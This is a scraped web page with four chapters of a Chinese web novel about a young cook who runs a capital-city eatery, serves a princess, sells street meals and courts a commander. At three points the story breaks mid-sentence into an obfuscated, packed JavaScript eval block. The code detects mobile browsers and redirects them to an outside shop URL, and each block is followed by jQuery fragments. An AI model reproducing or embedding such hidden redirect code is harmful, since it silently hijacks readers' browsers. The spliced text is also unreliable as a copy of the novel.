玉欣怡留下句京郊有一处马场，到时候会派人来接，匆匆带着藤萝离开。 又与赵穆交涉：“不必不必，世子快回府吧，不必送我，我与藤萝在逛一会儿才回府呢。”说完就咳两声。 赵穆唇角抿了下，回：“好。” 不过一刻，江记也售罄打烊。 出乎意料的，李定卓并未前来，因而，兰香也就放心地与江弥杉、方万宜逛街，挑选面具。 37. 清炖狮子头 春闱开考，聚集京城的四方学在阴雨绵绵中走入考场。 天公不作美，江记又在第二日才开店营业。 店内多了三个人，处理食材、打扫店面的；效率又提升了许多。 因而今日营业提前了半个小时，这会儿，进店的大多是打算凑合一口的过路人。 饥肠辘辘进去，吃得心满意足离开。 飘出的香气格外诱人，正要进店，一辆华车驶过，人还未见，就听一声俏问。 ：“二婶，就是此处吗？” ：“嗯，下车吧。” 声落，赵嘉容慢慢走下车，随后又跟着下来位六七岁的姑娘。 ：“这个食肆就是您说的，煮暖锅很美味的食肆？”看上去很小一个呢。 嘉容牵上訾宜，往食肆内，笑着道：“嗯，不过今日兴许不卖暖锅，我们尝尝其他的。” 啊……二婶是公主，吃过无数山珍海味，她都说美味，那必然是十分，十分的美味！ 在倒茶时，江弥杉一眼就瞧见了夺目的嘉容，手还牵着一位清秀的小姑娘。 下意识地，江弥杉开始反思最近有没有做什么危险的事，答案是否定。 最近她的生活，几乎没有什么大的风波，为数不多能制造风波的人，也因查案去了惠州。 江弥杉上前招呼，仍然是待两个侍女擦干净桌凳，嘉容才坐下，往柜台前的一对木排看去。 江弥杉斟上茶，：“今日推荐清炖狮子头，并不油腻。” 嘉容轻轻一笑点头，又问：“訾宜，可有想吃的？” 訾宜目光在木牌上选了一圈，最后挣扎地落在中间的一个，其实她都想吃，但不好让公主婶婶破费。 转头与婶婶道：“脆炸鸡。” 嘉容抬眼望向江弥杉：“那便都木牌上的各点一份。” 訾宜诧异地瞪大杏目：“……” 江弥杉在短暂的诧异后回了好，：“姑娘稍待一会儿。” 所有的菜品中，除了两三道要现做，其他几样菜品都是灶上时刻备着的。 作为推荐菜的清炖狮子头备的要多些。 五花切成细条后改刀成小丁，再剁成沾刀的糜，调味后，便是关键的一步。 需用加了酒的葱姜水搅混其中，直至肉糜不散，因此，团起的狮子头能够浮在水中，不沉不烂。 当季又是笋子破土的时候，清甜脆口，切成小丁，江弥杉也加进了肉糜中。 灶上立时又忙碌起来，一道道飘着诱人香气的菜端了出去，最后一道清炖狮子头由江弥杉端送出去。 盛在砂锅里五个软白肉圆，随着江弥杉端起的动作飘飘浮浮，一时相互碰撞到一处，技弹开来，一时又滑过青绿的菜叶，最终安静地呆在眼底。 桌子都被精致又美好的菜摆满了，訾宜的小碟已由各色亮眼的味美堆成小山，碗里的鸡还剩了多汁的一半，目光又再次被狮子头吸引。 只是看，都觉得美味！ 訾宜又望向江弥杉，好奇地问：“这些菜品，都是姑娘您做的吗？” 江弥杉笑的温和：“大多出自我手。” ：“哇，您真厉害！” 烹调的佳肴美味，又生得如此好看，她一瞬间就不奇怪，公主婶婶为何会念念不忘了。 嘉容也随之轻笑，目中更是柔和，落向訾宜时有流露出稍许的宠溺，：“爱吃，往后常带你来。” 对于夸奖，江弥杉已经从最初会耳红的拘束，到欣然接受，她也很享受人们发自内心的赞叹，或许没有这样直白，倾向于一个微笑，一个享受的闭眼，一个惊喜的目光······· 为了这些，她愿意一年四季与厨房相伴。 ：“多谢你的夸奖。” 訾宜害羞地抿唇笑，可似想到了什么，又带着疑虑的望向嘉容：“婶婶，你常带我来，小叔不会生气吧？” 虽然此处的饭菜甚是美味，可是有小叔陪着公主婶婶的话，会更好吧。 江弥杉唇角一凝，望向嘉容：“······” 真是童言无忌，童言无忌。 嘉容慢慢盛起一个狮子头，放入小碟，笑着打消了侄女的疑虑：“不会。” 訾宜松了口气，继续吃起碗里剩了一半的鸡块，江弥杉也走至柜台坐下。 下一刻，嘉容轻轻地挑开肉圆，如此可见肉圆炖煮的甚是软嫩，与宫中的御膳相比，都毫不逊色，肉圆里的汤汁也在挑开的一刻溢出，没过筷尖，沿着肉圆饱满地身躯滑落。 夹起一块送入口中，在还未反应过来时，适才还是块的肉糜，这会儿就已鲜化了，舌尖似乎都随那抹无法抵抗地鲜香轻轻颤动。 是种直达思绪的鲜香，从舌尖，涌上脑海，随后绽放出炫光，将思绪静止。 御膳，都无法到达的体验。 嘉容细细品味着，也没有一丝肉腥回溯上来，惊扰这份美味。 她又挑一筷，这一回，在软肉化之前，留了几粒脆甜，在咀嚼时，鲜香与清甜似乎也在舌尖弹舞，不过很轻，却让人无法忽视。 訾宜看嘉容唇角扬起，眉眼间浸染欣悦，也十分好奇味道，便自己打了一个盛入碗里。 世家的小姐虽不及宫中明珠那般仪态舒缓，但仍然端庄，也是挑一块送入口中。 霎时间，訾宜的思绪都空白了，很香，也很鲜，但是她一点都没有感到腻，而是似被击中了，待停下后，反倒会感觉不够，想让它们继续在舌尖绽放。 难怪是推荐菜呢，做得如此极致，若是不推荐出来，岂不是很亏！ 真的十分美味，十分十分美味！！ 訾宜也又挑起一块送入口中，满意地笑着点头。 美味乐趣无穷，最先吃完的也是清炖狮子头，剩下的汤，实在无法吃下，原先一桌的菜，这会儿基本都已空了。 也不知吃了多久，周围几桌的食客换了又换，顺着柜台都不是江弥杉，而是另一位姑娘守着。 嘉容正要起身结账，一位锦袍的公子走至餐桌旁，调笑：“姑娘，可否赏脸过去喝一杯？” 嘉容长睫忽降了几分，目中的温和也散去，幽幽的冷眸洒在那张说话的嘴脸上。 ：“大胆！不许与我婶婶这么说话！” 訾宜先跳下凳子，蹙着细眉，挡在了嘉容身前。 恰此时，江弥杉端着菜出来，兰香着急地望向弥杉。 江弥杉也正要上前，但在看到嘉容时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009234|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，瞬间打消了念头。 人常说，气势是装不出来，有的乍看很强大，其实就是狐假虎威，但当一个人真的有不可撼动的力量时，即便是一个眼神就足够让人敬而远之。 ：“你，不配。” 三个字，从嘉容口中一个一停的吐出，守在外的侍卫在男子发狂前就已提着刀摁他在地，捉了出去。 同桌的几个人目瞪口呆，霎时明白过来，天子脚下，得以如此就逮捕一个世家公子的人，大约便是宫里的贵人，一时间只装不认识，低头夹菜。 江弥杉很想比起一个大拇指，但还是忍住了，先去上菜，才走之嘉容面前。 凌乱收场，訾宜先安抚：“婶婶，没事了。” 嘉容这是才又笑起，轻轻抚摸訾宜的软发，目中的温和又重新回来，：“抱歉，第一回带你出来，就吓到你了。” 看江弥杉走来，她又抬眼笑道：“无事，江姑娘去忙吧。” 江弥杉还是道歉了：“真是抱歉，影响姑娘了，这样吧，今日这餐打个八折如何？” 嘉容却问：“江姑娘时常遭遇这些？” 江弥杉一愣，赶紧打消嘉容的疑虑：“从前是有的，后来出了那件事，也就传开了我不好惹的话，因此也就无了。” ：“不好惹？” ：“怎么不好惹？”訾宜也好奇。 江弥杉斟酌着该如何说：“大约，就是，会有致命伤的不好惹。” 听完，嘉容反而轻笑一声，站起身，将裙摆理齐，：“无需打折，冒犯的人又并非是你，怎么反倒你赔起不是了。” 说完，她又转头吩咐侍女：“与那位公子同桌的几位也一并带走，光天化日之下，纵容同伴调戏妇女，亦不能就此放过。” 江弥杉此刻竖起了大拇指，：“姑娘此举，真是为民造福的善举。” 訾宜则在思索是否要将事情告知小叔，若是小叔知晓了，会冲去揍他们一顿的吧，可小叔知道了，爹娘自然也会知晓，到时她兴许就出不来了。 四周的食客都望着适才发出躁动的地方，戏还未看够。 总有那么些人，无事找事，就爱调戏女子，这回好了，遇上惹不起的了，一句话都没有，就带走了。 吃饭就吃饭，况且江记的饭菜还如此美味，偏要去做这事，不得一次教训，根本不会收敛。 嘉容思索片刻，展颜一笑，：“为我结账吧。” 生意还要继续做，江弥杉也笑着引嘉容到柜台结账，又去厨间包了桂花糕，蹲下身，拿至訾宜腰间。 ：“抱歉，这回影响你的好心情，这是我的赔礼，还请收下。” 訾宜抬眼望向婶婶，不知该不该收。 ：“收下吧。” 訾宜接过糕点，脸上露出甜甜的笑意：“多谢。” 甜甜的笑脸看在眼里，江弥杉心情也欣悦了许多，忍下想摸摸她的冲动，站起身,送她们至门口。 ：“慢走。” ：“江姑娘保重。” 江弥杉笑回：“嘉容姑娘也保重。” 看着公主的车驾离去，后面还压着四个人，江弥杉微微一笑。 心理暗暗觉着，这位公主，还挺有意思的。 38. 春笋焖饭 四月二十六，京城喜气洋洋，逸郡王府接亲的花轿一路奏，喜色响天。 午间打烊休息，六人分坐一桌，玉府的喜糖散在桌面，江弥杉一人分了几颗后，拨开一层糖纸，将一颗橘色的晶糖放入口中，是酸甜味。 兰香若有所思地盯着眼前的喜糖，又抬眼问：“姑娘，玉姑娘会欣悦吗？” 方万宜目光一凝，明白婚姻大事并非是依凭是否欣喜，嚼着的糖酸酸甜甜，但回想起前几日的情景，忽觉得苦了些。 江弥杉也答不上来，尤其是在玉欣怡将事情吐露之后，答案即便心知肚明，但谁敢说一句不好。 几日前，受欣怡邀约，去了京郊，白天学了骑马、射箭，到了夜里，欣怡说完被突然赐婚的事。 她与父兄在甘州几年，照先帝旨意，每年都可回京探望母亲与嫂嫂。 唯独今年回来，猝不及防地被赐婚。 她与赵穆在此之前，一面都未见过，甚至赐婚那日，是她第一回听过这个名字。 而后来了教导嬷嬷，教她学规矩，刁钻至极。 说到后面，玉欣怡哭得泪如雨下，一句话都说不完整。 她不想学规矩，不想成亲，她不喜欢赵穆，她想回甘州…… 种种浮现于眼前，除了可惜，江弥杉心里更多是无力。 江弥杉沉默地捏着糖纸，目中满是无奈交织在一起的复杂。 手中的糖纸被捏的皱皱巴巴，江弥杉才抬眼，唇角微微提起。 ：“我但愿她往后能够欣悦。” 不知道说什么，除了祝愿，她无法回答当下甚至未来。 兰香轻叹一声，戳着桌上的喜糖，低声感慨：“也不知，往后能否再见到玉姑娘。” 江弥杉咔的一声咬碎了糖果，震得心池动荡，道道夹杂着无奈、惋惜的难言而喻的情绪就涌了上来。 有多少可能，江弥杉难以细估，但当下气氛太过消极，推动着思绪更多是往坏处想，就带动着情绪更悲观。 江弥杉轻拍一下桌子，：“好了，说不定，他们之后也能在相处中慢慢了解彼此，也成为一对佳偶呢。” ：“江记食肆的门永远敞开，她几时来，都不晚。” 就算不是这样，玉欣怡也不至于过得太差。 在这个时代谈情，根本没有可谈性。 钱握在手里，比什么都好。 方万宜转头望着兰香：“正是呢，你也别操心了。” 兰香低低嗯了一声。 江弥杉见兰香兴致不高的模样，深吸一口气，不由将话说得残忍了些：“再者，那是郡王府，再是如何，都要比寻常人要过得好，玉姑娘心性豁达，也能活得一番天地。” 兰香错愕地望向江弥杉，听完，觉得她的确是在杞人忧天。 世子妃怎么也要比一个小丫鬟要过得好。 话是残忍无情，但足够让人清醒，江弥杉清楚兰香的遭遇，兰香会如此，大致也会是担心悲剧不断重演。 可，皇亲国戚与普通人家本就没有可比性，担忧与操心这些，影响心情，耗费心力，并且也没用。 江弥杉：“此事到此打住，得想想过几日做推出什么菜才好。” 江弥杉顺口叫过姜绮三人。 ＊ 入夜，天色已不早，食肆只留下江弥杉。 外出查案的李定卓回京了，太阳落山前传来的消息，江弥杉又特意留了一份今日的推荐菜品春笋焖饭。 等了一会儿，食肆内最后一桌食客离开，身着墨蓝衣袍的李定卓才提着灯笼走进。 江弥杉坐在柜台，第一眼望去，下意识地觉得他消瘦了许多，脸颊两侧似乎都凹了进去，原本深邃地眼眶，在灯光都投射下，也显得更加内陷。 江弥杉起身走上去，还未说一个字，就被李定卓拉进宽厚怀里。 鼻息间，传入熟悉的烟火气，李定卓闭上眼，深吸几口气，紧紧圈抱着江弥杉的后背，想要将这份日思夜想的温暖留的更久些。 砰砰跳动的心声闯过胸膛，彼此交响，在阔别已久的静谧间，撞击耳声。 江弥杉任由李定卓抱着，微微一笑，阿西，吃怀住他的腰腹。 似乎真的消瘦了许多，下一秒，江弥杉想到了另一个问题。 是不是又受伤了？ ：“瘦了。”江弥杉微微转头，轻声道。 李定卓嗯地应了声，：“食难下咽，尽力了。” 江弥杉：“……” ：“那先放开我，我备了春笋焖饭，兴许要好了。” 李定卓放手，又随着江弥杉去厨间。 炉灶上的小砂锅已在滋滋响，沿着飘出勾动人心的咸香。 江弥杉等了片刻，才夹起锅，放至李定卓端着的餐盘之上。 盛一碗火腿鸡汤、腌豆角、卷心菜、拌豆芽、酱油青菜各盛一小碟，配成套餐。 ：“今日生意不错，大多菜都售罄了，请你将就一回。” 江弥杉笑眼如月，对着上方垂落的温和目光，将菜品单一的原因解释。 听弥杉说的话，李定卓唇角微微扬起，：“无事。” 端着餐食坐下，李定卓揭开盖子，一天热气携香散开，露出里间掩藏的酱粽浓色。 江弥杉拿过木筷，坐在对面，从底往上，将菜蔬与米饭拌匀。 ：“京中，今日有喜事？”李定卓注视着她。 江弥杉有些意外，李定卓怎么会在意到这个？ ：“嗯。” 拌匀的米饭融着竹笋、腊肠、五花与翠绿的豌豆，油光晶晶亮闪，滋润着粒粒米饭。 李定卓拿起勺，却未动餐食，而是目光静静的，带着几分探问地望着江弥杉。 江弥杉更摸不着头脑，李定卓这幅神情，看上去应该有话要说，她收拢木筷，问：“怎么了？” ：“你何时，能给我确切的名分？” 话语很轻，甚至带有落寞，却一字一字的敲进耳。 这句话又一次从李定卓口中说出，江弥杉诧异于两者之间他是怎么联系上的。 她暂时还没有想结婚的心…… 怎么他会比她更想啊！ 但李定卓并不能轻易糊弄，江弥杉认真找个理由回答。 江弥杉清清嗓子，很是郑重：“待我把酒肆做大做稳，一定。” 话音刚落，李定卓已跟着问：“可真？” 江弥杉点头，又确认一道：“真。” 李定卓收到肯定的回复，才安心地盛起米饭入口。 咸香的口味，带着腊肠的咸、肉的鲜，组合成浓郁醇香，融在恰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009235|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好处的松软米饭中，有了春笋清新的甜意中和，各味，似乎都在舌尖达成了和谐的弹奏。 既能感受到综合的味美，但又品的到各种食材单独的风味。 是美味，它能够在入口的一瞬就将压藏在疲惫下欣悦从心底勾出，犹如一抹灿阳，驱散阴云，使人是如此温暖，舒适。 江弥杉看他唇角又微微扬起，眉眼间也染上悦色，唇角也跟着绽出一朵笑花。 于是，拿起筷子从锅里挑起一团米饭，在李定卓诧异地目光中送去口中细嚼慢咽。 ：“怎么了？” ：“你嫌弃我？” 李定卓立刻否认：“并非如此。” 江弥杉轻笑，又挑一筷，自顾自的解释：“你吃得如此香，我都有些馋了。” 很奇怪，之前从未有过感觉，今夜分明是吃了个猪肉饼子的，这会儿看李定卓吃，鬼使神差地又饿了。 米饭很快就见底，江弥杉克制地没吃很多，又觉得饿，打算回去路上再卖个饼吃。 收拾着厨房，江弥杉就见李定卓在倒剩余茶喝，一杯接一杯地往口里灌。 待收拾干净，她怀疑地走过去，问：“是餐食太咸了吗？” 李定卓先是一愣，带着诧异地望着面前疑惑的江弥杉，猜她大约是不记得曾说过的话，失落之中，又觉得荒诞。 究竟是她随口一说，还是说过，也不记得了。 ：“你可记得，你说过什么？” 江弥杉蹙眉，目光从李定卓捏着的茶杯，滑落被茶水浸润的薄唇，脑海中记忆翻腾，忽得，停在某一日，她恍然大悟。 江弥杉干咽一下，尚还能保持镇定：“记得，就是……” 话还未说完，眼前忽得罩下暗影，茶水的清苦钻入口舌，在她还未反应过时，涌入口腔。 江弥杉抬起手，眼睛都未闭上，就被男子的气息的侵袭了。 ：“我漱过口了。” 短暂地停了片刻，李定卓的话语低沉，凑靠上鼻尖，垂眸望着眼下的微微张开的唇。 江弥杉心如错鼓，整个耳廓迅速红热，：“嗯。” 而后，感受着唇又轻慢地含咬而上，很轻，很慢，似在精细又小心地品味，不放过任何一处。 一步，一步的向后退，直至腰抵上厨台。 江弥杉未站稳，失去安全感的片刻，她手杵在台上，随着酥痒，又慢慢收拢。 收拢地一刻，又被两掌炽热的大掌包合。 思绪迷糊地不知过了多久，唇上终于轻了，湿热的气息却还在扑洒。 江弥杉慢慢睁开眼，咫尺之间，看到眼前两颗晦暗又柔情的眸子映着略微失神的她。 情不自禁的，江弥杉摸上李定卓的脸颊，又从他的鼻尖，缓缓下滑，最后停按在唇珠，又落至下颚。 ：“你……该不会学过吧？” 李定卓蹙起眉，对这个疑问，心里既不满，又掺杂了几分喜悦。 ：“你愿再教我更多？” 细品了这个再字，江弥杉调笑道：“教指挥使大人可有报酬？” 李定卓：“有，我。” 当纠缠热攀上，脑内不断徘徊起一个想法，带她回宅院。 但…… 李定卓暗暗叹口气，暂时打消了压在心里的念头。 39. 重启的江记小食 四月底，江弥杉将申请改扩建的书函送到官府盖印。 宫中送来的六十六两全投到扩建的资金中，江弥杉问过李定卓，寻来靠谱的施工团队，四月的最后一日，江记打烊改建。 食肆在改建，休息了几天，江弥杉照着计划，清理干净停在后门的小摊，拖到院子里，找出几个从食肆收回嘉家的砂锅，放置铺了一层木框的小车之上。 除去留着的一个炉灶蒸饭，平日煮汤的砂锅围着放，也能放四个，正好两荤两素。 重新出摊，江弥杉不打算再做路边小吃，而是决定推出现代社会常见的路边盒饭，有饭也有菜，更有利誉发展回头客，推广食肆。 午饭时刻，江弥杉就推着车出门了。 按着约定，食肆员工每日都需有一个随江弥杉一起出门售卖盖饭，今日兰香跟着，一路说笑着就到了国子监。 此时，正都是外出用饭的学子。 正苦于江记食肆打样的学子，一眼就瞧见了小摊内的江弥杉，愁闷地心情豁然开朗，看见的不止一位，一时都潮江记小食的摊子跑。 见这幅架势，兰香忽明白话本子里的一个词语，叫饿狼扑食，如此形容，在合适不够。 她连忙拿出放在柜子的木碗，逐一放在江弥杉身前，趁着人还没来，小声透露担忧，：“姑娘，这四锅，真的够吗？” 江弥杉笑回：“不够也好，新的一批学子未到江记用过饭，待食肆开业，到店里的食客会更多。” 说着，江弥杉打开锅盖，顿时想起扑鼻，今日的菜色是腌菜炒肉沫、黄焖鸡、白菜炖粉条、酸辣土豆丝，盖子才开，一个学子就攒到了摊前。 ：“江姑娘，你又来摆摊了！”满语都是兴奋。 江弥杉展颜一笑，介绍起来：“是，又来摆摊了，今日售卖饭食，五十文即可打四种菜，二十五文打一荤一素，公子可自行选择。” 杨双宇一刻都未犹豫：“来五十文的。” 春闱了榜，许多学员都高中，说来也巧，排名在前的几位，考前都最爱往江记食肆去，连吃了几日的及第粥，卢灿宇就是其中一个，只着等殿试。 落榜的，还可在国子监进学两年，参加下回的会试，不管江记是否真的有此玄力，反正吃食也好吃，赶这个风头，同窗们也心甘情愿。 江弥杉应声好，端起碗。 兰香打来蒸米饭的锅，江弥杉盛两勺饭，接着顺着菜各盛两小勺，盖在莹白的米饭上，如堆起香山，香烟飘悠。 ：“劳烦公子吃完将碗筷归还。”江弥杉捧给杨双宇。 杨双宇接过碗，想着既然要归还，就少走一趟，干脆就退到路边，将位让给排在身后的通常，端着碗吃起。 菜都是寻常的菜色，家中也常做，可闻起来就是这般诱人。 杨双宇先挑吃一口酸菜肉沫，酸辣的酸菜与鲜香的肉沫竟会如此相搭，砰的一下，酸香就在平淡的舌尖热闹地绽放开来，既美味，又开胃。 而后是黄焖鸡，咸香的鸡入味又耙嫩，这耙却不是烂，而是能感受到鸡肉的紧实的口感，却又并不干柴，咸味来自于酱，而香则丰富了，除了鸡肉的香，还有股说不上来融合过后的香，只把本就打开的胃口，拖的更加垂涎欲滴。 吃到这，剩下的两道几乎是不尝都晓得的美味，杨双宇挑吃几口浸着汤汁的多味米饭，已经快要流泪。 怎么会寻常的家常菜都做得如此美味，为何同样都是厨师，食堂的厨师就与江姑娘相差这样大！！！！ 杨双宇缓了缓，见同窗走来，又挑起粉条入口，粉条细腻弹软，是浸透了高汤的，因此格外鲜美，又有些许的酸意缓解腻感，这有何腌菜肉沫不同，是淡淡的酸融入了鲜美，并不刺激，却让舌头欲罢不能。 何时，食堂能将粉条做的如此美味······ 酸辣土豆丝，更是简单的一道家常菜，杨双宇夹了簇，送入口，爽脆的口感，碰上酸酸辣辣的酱汁，没咀嚼一下，都感觉味蕾在随之颤栗，停下，又会觉着不够。 杨双宇一口接一口的吃着饭菜，暗暗懊悔去从前少去江记，万幸这会儿食肆虽打样了，但是江姑娘又带着美味来了！ 彼边，江弥杉遇见了熟人。 卢灿宇笑着问好：“江姑娘，兰姑娘，午好。” ：“来五十文的。” 江弥杉回一声好，接着打菜，兰香弯身去拿新的碗。 卢灿宇将高中的消息告知：“拖江姑娘做的及第粥的好兆头，我的会试，名次还不错，再过一久，便要去殿试了。” 江弥杉：“恭喜卢公子金榜题名。” 卢灿宇喜笑颜开：“表哥劝我往后稳重些，我今日都没抢到前头。” 江弥杉脑海里浮上秦绍麒温文尔雅的品性，在对上卢灿宇，不由得一笑，：“公子保持自我就好，如何舒适，就如何行为，才不至于烦累。” 说着，江弥杉将碗递给卢灿宇，：“愿公子殿试顺利。” 卢灿宇：“多谢江姑娘。” 兰香观望着路边的人吃得快结束了，别又拿出木框，放至摊车旁，收集用过的碗筷。 转眼间，收回的碗筷已布满半框，四锅菜食也接近售罄，小摊前的队也散了，只有路边还站着几位公子。 趁着闲暇，兰香还记得之前几位报喜的公子，又不由得好奇，问：“姑娘，及第粥真有功效？” 江弥杉从未往这上面想过，如果及第粥真有用，那还用工读书做什么，干脆都考前来一碗粥，就可考取功名了。 但既然有了这个风向，她也不打算大打住。 她忍不住低笑一声，：“这种事，说不清楚呢。” 兰香倒吸一口气，联想到话本子里的神怪，望着江弥杉，脱口一句：“那姑娘岂不成仙子了？” 江弥杉：“······” 兰香见江弥杉笑的抿唇，却还压不住，似乎已经相信打了，跟着道：“姑娘，兴许还真可能呢。” :"经姑娘手中的菜，都格外可口，旁人都做不出那份味道呢。" 江弥杉无奈地笑着空点两下，：“如此说，夜里我就要奔向天了？” 兰香转眼想了一会，又蹙起眉摇头：“不好，话本子里说，天上可凄清了，还无法见凡家的家人。” ：“姑娘若是奔天了，食肆该如何是好，我与万宜，还有姜绮她们三个妹妹，都受不了的。” 说着，兰香甜甜一笑：“所以，姑娘还是做凡间的神仙吧。” 江弥杉挑起眉头，她的确拿到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009236|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨神的称号，却没想到，今日会在兰香口中听到这些，不由得感慨地笑起。 ：“姑娘笑什么？”兰香疑惑。 江弥杉轻叹一声：“做神仙可不容易呢，何况还是人间的神仙。” 兰香一想，的确如此，便跟道：“那还是做凡人好了，只要是姑娘，一切都好。” 江弥杉无言点头，思绪在神仙两字停了一会儿，想起举起厨神奖杯时的欣喜，仿佛这一刻又重新握上了奖杯，她虚拢着手，唇角再次微微扬起。 收齐的餐碗，江弥杉又推着车四处绕着售卖，五十文的价格，对于普通百姓而言还是贵了些，但不乏想尝味的，便点了二十五文。 在清尚街前停了一会儿，锅里的餐食与蒸饭就全部售罄。 此时，江弥杉正准备推车走，兰香指着对岸的两道人影道：“姑娘，是玉姑娘。” 顺着望过去，江弥杉就见玉欣怡蹙着眉，一副不悦的模样，身边那夜的男子。 那位男子就是郡王府的世子。 下一刻，玉欣怡的目光也看来，先是诧异地挑起眉，不悦地眉眼间染上了笑意，就见她又回头瞟了眼身旁的人，小跑而来。 兰香：“玉姑娘要过来呢。” 江弥杉：“·····嗯。” 玉欣怡跑在前，赵穆紧跟在后，直至来到江记小食的摊前。 玉欣怡很是惊喜：“前几日去去食肆，看到在修建，还觉得可惜，没想到，江姑娘又做起小摊了。” 江弥杉笑回：“闲了几日，有些不习惯，于是便推着小摊出来了。” ：“江姑娘卖的什么？” ：“饭食，不过今日卖完了，玉姑娘若是想尝，往后可去国子监找我。” 玉欣怡又觉可惜，仔细一想，又转过身，对赵穆道：“都怪你，走得如此慢。” 赵穆也并未生气，神色不变，温润玉如：“是，都是我不好。” 兰香在后诧异地睁大眼，这幅情景，见到的还真不多，姑娘与李公子是一对，玉姑娘和世子······ 像一对，也不像一对。 玉欣怡哼了一声，不理他，扭回头，又换上笑脸与江弥杉交谈：“我早就想去江记用一回饭，只可惜一直有事绊住了脚，得空了，食肆却又关了，还好今日遇见了，往后又得尝到江姑娘做得菜食了。” 江弥杉提醒：“只是，这饭食，需站着吃。” 玉欣怡不在乎，：“我在甘州时，我还端着碗跑呢。” 大不了不和赵穆一起出来，也不知他怎么想的，非得跟着她，生怕她跑了似得！ 玉欣怡背对着大约感受不到，江弥杉正对着，对面人的神态一览眼底，尤其是赵穆落在欣怡身上的目光，不禁让她想起李定卓。 江弥杉笑起：“我便在国子监静待姑娘了。” ：“嗯，我必然会去的。” ：“我们先告辞了，姑娘再会。” 玉欣怡笑着告别，待人走远了，赵穆上前一步。 玉欣怡收起笑脸，想着赵穆也不可能站着用饭，道：“我自己去。” 赵穆沉默片刻：“不，我随夫人一起。” 玉欣怡：“······随你。” 吃不下别怪她就好！ 40. 小摊进行中 近几日，国子监外人流多了起来，才刚下学，江记小食的摊前就排起了短伍。 五人轮值完，休息两日，江记小食的摊车又照常穿梭在街巷间。 午间，章文安说笑着与李定卓并肩走出镇抚司。 ：“江姑娘每五日去一回京郊，你就不能说一声，请她留一些到镇抚司售卖，我去了几回都排不上。” ：“国子监的那群学生，可真是……看不出一点读书人的模样。” 李定卓听完抱怨，淡淡反问：“她若是愿意来，还需我去说？” 章文安一噎，随后断定：“那必定是你的问题。” 李定卓眸子冷冷在身侧笃定的人定住，没有深究的心思。 弥杉去哪，随她心意，往儿女情长之上牵绊，反倒让她费时费力，那何不直接便是请她来镇抚司的食堂。 国子监生意不错，那还有让她为了私情，白费力推着来镇抚司。 ：“你没长腿？”李定卓淡淡反问。 章文安：“……” 赶到国子监时，一眼扫去，就是热闹的江记小食，路边已有不少学子在端着碗满意地用饭。 章文安二话没说，拉着李定卓往前跑，排至学子身后。 诱人的香风随着一位端碗走过的食客走过，碗内有四种菜色，黄棕色的丸子、凉拌的菜丝、红亮的鸡丝、清新的黄瓜片。 才刚排上，国子监内从又跑出一队学子，章文安无声摇头，在回头一看，发现身后的人。借着高挑的身形，目光已经落到了小摊内忙碌的江弥杉身上。 今日随江弥杉出的是方万宜，一人摆碗，一人打菜，配合默契，因而动作轻快，问了买那款，便能在片刻间递给食客。 江弥杉打完一份菜，抬眼的一刻就望见前两日刚见过的冷脸与流露着温和的目光。 她诧异地挑起眉，而后在一细看，就瞧见章文安的笑脸，便明白了李定卓会出现在这里的原因，兴许是本就想来，但之前由于公务繁忙，不曾行动，今日得闲，又遇上行动派的章文安，于是两人一起来这里吃饭。 江弥杉对前方微微一笑，又快速收回目光，询问下一位的买什么价位的菜食。 人换了几个，终于轮到了等待的章文安。 ：“江姑娘，我要五十文的。” 没等江弥杉问，章文安就已迫不及待地说出了需求。 来了几回，总算排上了！！ 方万宜短暂的诧异后，重新拿出一个碗，章文安身后还跟着一位熟人，虽然近几日见得不熟不少，但李定卓还是头一回。 江弥杉盛上米饭，又继续打菜，：“今日可算排上了。” 章文安感慨一声是啊，目光从五个锅上滑过，见锅内所剩不多的菜食，心里暗暗又庆幸还好来得快，否则又如从前几日一般，只剩残汁和稀疏几颗米饭。 若是在往后排几个，今日也没份。 江弥杉打够菜，又递给章文安，照常叮嘱一遍：“劳烦公子用完饭，将餐碗放至旁边的木框。” ：“多谢江姑娘。” ：“不必客气。” 章文安端碗离开，江弥杉轻轻一笑，端起面前的碗，眼笑意潋滟：“这位公子，买什么价位的菜食啊？” 李定卓唇角微微勾起：“五十。” 江弥杉盛着饭，抬眼，调侃的话语中多了几分笑意：“公子运气真不错，第一回来就排上了。” 李定卓低低嗯了一声，：“在下的运气，从未在关键时候出差错。” 江弥杉盛饭的动作短暂地停滞一秒，难以置信地眨了几下眼睛，诧异地望着面前的面色波澜不惊的人，从一句话中听出几种意思。 关键时候，见她？ 大庭广众之下，他在说什么！！！ 方万宜弯腰的动作一滞，怀疑适才听错了，暗暗感叹真不愧是指挥使。 江弥杉回过神，继续盛菜，回道：“还是感谢章公子吧。” 李定卓：“······” 